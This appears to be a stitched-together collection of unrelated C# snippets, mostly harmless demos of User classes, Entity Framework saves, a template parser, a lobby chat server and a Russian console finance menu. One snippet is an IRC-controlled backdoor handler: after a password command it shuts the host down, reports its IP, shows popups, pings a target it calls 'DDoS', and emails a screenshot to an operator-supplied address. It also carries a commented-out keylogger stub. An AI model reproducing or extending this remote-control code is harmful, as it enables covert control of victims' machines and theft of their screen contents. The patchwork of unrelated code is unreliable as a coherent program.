static void Main(string[] args) { var userService = new UserService(); var userJon = new User {Id = 1, Name = "Jon Doe"}; userService.SaveOrUpdateUser(userJon); var userSally = new User { Id = 2, Name = "Sally Sample" }; userService.SaveOrUpdateUser(userSally); foreach (var user in userService.Users) { // IMPORTANT: Add a conditional breakpoint on the next line with 'user.id = 1' (instead of 'user.id == 1' or 'user.id.Equals(1)'). See doc folder for screenshots. int id = user.Id; // ...some logic... user.Id = id; // ...some more logic... userService.SaveOrUpdateUser(user); } // Show results of what just happened on command line Console.WriteLine("\n\nRESULTS=================================="); foreach (var user in userService.Users) { Console.WriteLine("User Id: " + user.Id); Console.WriteLine("User Name: " + user.Name); } Console.WriteLine("\n\nEND RESULTS=================================="); // Add a 'normal' breakpoint on the next line to read the console output }
static void Main(string[] args) { using (UserContext db = new UserContext()) { // создаем два объекта User User user1 = new User { Name = "Tom", Age = 33 }; User user2 = new User { Name = "Sam", Age = 26 }; // добавляем их в бд db.Users.Add(user1); //db.Users.Add(user2); db.SaveChanges(); Console.WriteLine("Объекты успешно сохранены"); // получаем объекты из бд и выводим на консоль var users = db.Users; Console.WriteLine("Список объектов:"); foreach (User u in users) { Console.WriteLine("{0}.{1} - {2}", u.Id, u.Name, u.Age); } } Console.Read(); }
static void Main(string[] args) { string template = @" your name: @{user.Name} your age: @{user.Age} 1 2 3 @{repeat 5} testing @{end repeat} --------------------- @{repeat count} testing @{end repeat} --------------------- @{if userCount>userSystem.TargetCount} 111111111111111 222222222222222 @{else} 33333333333333 44444444444444 55555555555555 @{/if}"; Dictionary<string, object> ctx = new Dictionary<string, object>(); User usr = new User() { Name = "McKay", Age = "你猜" }; ctx["user"] = usr; ctx["count"] = 2; UserSystem us = new UserSystem(); us.TargetCount = 4; ctx["userCount"] = 2; ctx["userSystem"] = us; Console.WriteLine("******************************************"); Console.WriteLine(STParser.GenerateStringView(template, ctx)); Console.WriteLine("******************************************"); Console.ReadKey(); }
public static void _irc_IRCMessageRecieved(object sender, string message, User user, IRCChannel ch) { if (message.StartsWith("!")) { if (message.Replace("!", "").StartsWith("login " + mainPass)) { flag = true; } } if (message.StartsWith("?") && flag == true) { if (message.Replace("?", "").StartsWith("Shutdown")) { System.Diagnostics.Process.Start("shutdown", "-s -t 30"); _irc.SendMessage("Computer is shutting down in: 30 secs.", IRC.SupportedColors.Green, ch.Channel); } if (message.Replace("?", "").StartsWith("GetIP")) { string strHostName = Dns.GetHostName(); IPHostEntry ipEntry = Dns.GetHostEntry(strHostName); IPAddress[] addr = ipEntry.AddressList; string ip = addr[2].ToString(); _irc.SendMessage("IP: " + ip, IRC.SupportedColors.Green, ch.Channel); } if (message.Replace("?", "").StartsWith("Popup")) { message = message.Replace("?Popup", ""); _irc.SendMessage("Popup Sent.\n", IRC.SupportedColors.Green, ch.Channel); MessageBox.Show(message); _irc.SendMessage("Popup Reciever Clicked OK.\n", IRC.SupportedColors.Green, ch.Channel); } // KeyLogger //if (message.Replace("?", "").StartsWith("Keylog")) //{ // if (KeyLogflag) // stop keylogging. // { // } // else // start keylogging. // { // } //} if (message.Replace("?", "").StartsWith("DDoS")) { string DDoSIP = message.Replace("?DDoS", ""); System.Diagnostics.Process.Start("ping", DDoSIP); _irc.SendMessage("DDoSing IP: " + DDoSIP, IRC.SupportedColors.Green, ch.Channel); } if (message.Replace("?", "").StartsWith("Pic")) { int screenWidth = Screen.GetBounds(new Point(0, 0)).Width; int screenHeight = Screen.GetBounds(new Point(0, 0)).Height; Bitmap bmpScreenShot = new Bitmap(screenWidth, screenHeight); Graphics gfx = Graphics.FromImage((Image)bmpScreenShot); gfx.CopyFromScreen(0, 0, 0, 0, new Size(screenWidth, screenHeight)); string fileName = "pic.jpg"; bmpScreenShot.Save(fileName, ImageFormat.Jpeg); message = message.Replace("?Pic", ""); string[] mailD = message.Split(' '); // mailD[0] = mailD Empty // mailD[1] = mailD toAddr // mailD[2] = mailD Password // mailD[3] = mailD SMTP Server * smtp.gmail.com // mailD[4] = mailD SMTP Port MailMessage mail = new MailMessage(); SmtpClient SmtpServer = new SmtpClient(mailD[3]); mail.From = new MailAddress("*****@*****.**"); mail.To.Add(mailD[1]); mail.Subject = "Test Mail - 1"; mail.Body = "mail with attachment"; Attachment attachment; attachment = new Attachment(fileName); mail.Attachments.Add(attachment); int port = Convert.ToInt32(mailD[4]); SmtpServer.Port = port; SmtpServer.Credentials = new NetworkCredential(mailD[1], mailD[2]); SmtpServer.EnableSsl = true; SmtpServer.Send(mail); } if (message.Replace("?", "").StartsWith("Cmds")) { _irc.SendMessage("[?] Shutdown, GetIP, Popup, DDoS, Pic", IRC.SupportedColors.Red, ch.Channel); } } }
/// <summary> /// This is run in the thread started in the constructor. /// it's listening for incomming data and parses it and sends a response /// back to the client /// </summary> public void startConversation() { Console.WriteLine("Starting conversation..."); fromClient = new StreamReader(theClient.GetStream()); toClient = new StreamWriter(theClient.GetStream()); try { //set out line variable to an empty string string line = ""; while (true) { //read the curent line line = fromClient.ReadLine(); string[] action = line.Split(new string[] { ";" }, StringSplitOptions.None); switch (action[0]) { case "mes": Console.WriteLine(playername+": "+action[1]); toClient.WriteLine("msg;Message received"); toClient.Flush(); break; case "username": if (Username(action[1])) { toClient.WriteLine("username;ok"); toClient.Flush(); userdata = new User(action[1]); } else { toClient.WriteLine("username;nope"); toClient.Flush(); } break; case "msglobby": MessageLobby(action[1]); Console.WriteLine(playername+": "+action[1]); break; case "joinlobby": if (playername != "noname") { toClient.WriteLine("startlobby;"); toClient.Flush(); Console.WriteLine(playername + " joined lobby " + action[1]); List<string> test = (List<string>)ConsoleApplication1.Server.lobbies[action[1]]; test.Add(playername); ConsoleApplication1.Server.lobbies[action[1]] = test; ConsoleApplication1.Server.playerInLobby.Add(playername, action[1]); MessageLobby("*joined lobby*"); } else { toClient.WriteLine("needusername;"); } break; case "createlobby": toClient.WriteLine("startlobby;"); toClient.Flush(); Console.WriteLine(playername + " started lobby " + action[1]); List<string> userlist = new List<string>(); userlist.Add(playername); ConsoleApplication1.Server.lobbies.Add(action[1], userlist); ConsoleApplication1.Server.playerInLobby.Add(playername, action[1]); break; case "leavelobby": LeaveLobby(); break; case "listlobby": Console.WriteLine(playername + " fetching lobbies"); toClient.WriteLine("listlobby" + FetchLobbies()); toClient.Flush(); break; case "what": Console.WriteLine(ConsoleApplication1.Server.playersByConnect[theClient]); toClient.WriteLine("msg;Hi"); toClient.Flush(); break; default: break; } //send our message //ConsoleApplication1.Server.SendMsgToAll(nickName, line); } } catch (Exception e44) { //Console.WriteLine(e44); ConsoleApplication1.Server.players.Remove(playername); ConsoleApplication1.Server.playersByConnect.Remove(theClient); LeaveLobby(); Console.WriteLine(playername+" lost connection"); } }
static void Main(string[] args) { Console.WriteLine("Создайте пароль"); string NewPass = Console.ReadLine(); User Client = new User(); Client.CreatePassword(NewPass); int selection = 0; do { Console.WriteLine("Меню:"); Console.WriteLine("1-Выйти"); Console.WriteLine("2-Сменить пароль"); Console.WriteLine("3-Запрос баланса"); Console.WriteLine("4-Добавить транзакцию"); Console.WriteLine("5-Создайте счёт"); selection = Int32.Parse(Console.ReadLine()); switch (selection) { case 1: Console.WriteLine("Вы вышли"); break; case 2: Console.WriteLine("Введите новый пароль:"); string changedPass = Console.ReadLine(); Client.ChangePassword(changedPass); Console.WriteLine("Вы успешно сменили пароль"); break; case 3: if (Client.Acc != null) { Console.WriteLine(Account.getBalance(Client.Acc.Details)); break; } else { Console.WriteLine("Создайте для начала счёт!"); break; } case 4: if (Client.Acc != null && Client.Acc.Details != null) { Console.WriteLine("Введите вид транзакции (расход/приход)"); string Transaction = Console.ReadLine(); Console.WriteLine("Введите категорию:"); string Category = Console.ReadLine(); Console.WriteLine("Введите сумму:"); double Amount = Convert.ToDouble(Console.ReadLine()); Client.Acc.Details.Add(Detail.NewDatail(Amount,Category,DateTime.Now, Transaction)); Console.WriteLine("Успешно!"); break; } if (Client.Acc == null) { Console.WriteLine("Создайте для начала счёт!"); break; } Console.WriteLine("Введите вид транзакции (расход/приход)"); string MYTransaction = Console.ReadLine(); Console.WriteLine("Введите категорию:"); string MYCategory = Console.ReadLine(); Console.WriteLine("Введите сумму:"); double MYAmount = Convert.ToDouble(Console.ReadLine()); List<Detail> myNewDetail = new List<Detail>(); myNewDetail.Add(Detail.NewDatail(Convert.ToDouble(MYAmount), MYCategory, DateTime.Now, MYTransaction)); Client.Acc.Details = myNewDetail; Console.WriteLine("Успешно!"); break; case 5: Console.WriteLine("Название счёта:"); string newAcc = Console.ReadLine(); Account myNewAccount = new Account(); myNewAccount.name = newAcc; Client.Acc = myNewAccount; Console.WriteLine("Вы успешно создали счёт"); break; default: Console.WriteLine("Некоректный ввод"); break; } } while (selection != 6); }
/// <summary> /// Imagine this method doing a database insert or update! /// </summary> public void SaveOrUpdateUser(User user) { Console.WriteLine("\tSaveOrUpdateUser..."); Console.WriteLine("\tUser Id: " + user.Id); Console.WriteLine("\tUser Name: " + user.Name); User userAlreadyPresent = Users.FirstOrDefault(u => u.Name.Equals(user.Name)); // dummy find method if (userAlreadyPresent == null) { Console.WriteLine("Adding new user"); Users.Add(user); } else { Console.WriteLine("\nUPDATING USER......................."); Console.WriteLine("\tOld infos about user:"******"\tUser id: " + userAlreadyPresent.Id); Console.WriteLine("\tUser name: " + userAlreadyPresent.Name); Console.WriteLine("\tNew infos about user:"******"\tUser id: " + user.Id); Console.WriteLine("\tUser name: " + user.Name); userAlreadyPresent.Id = user.Id; } }
// PUT api/<controller>/5 public void Put(int id, User user) { _userTable.AddOrUpdate(user); _db.SaveChanges(); }
// POST api/<controller> public User Post(User user) { _userTable.AddOrUpdate(user); _db.SaveChanges(); return user; }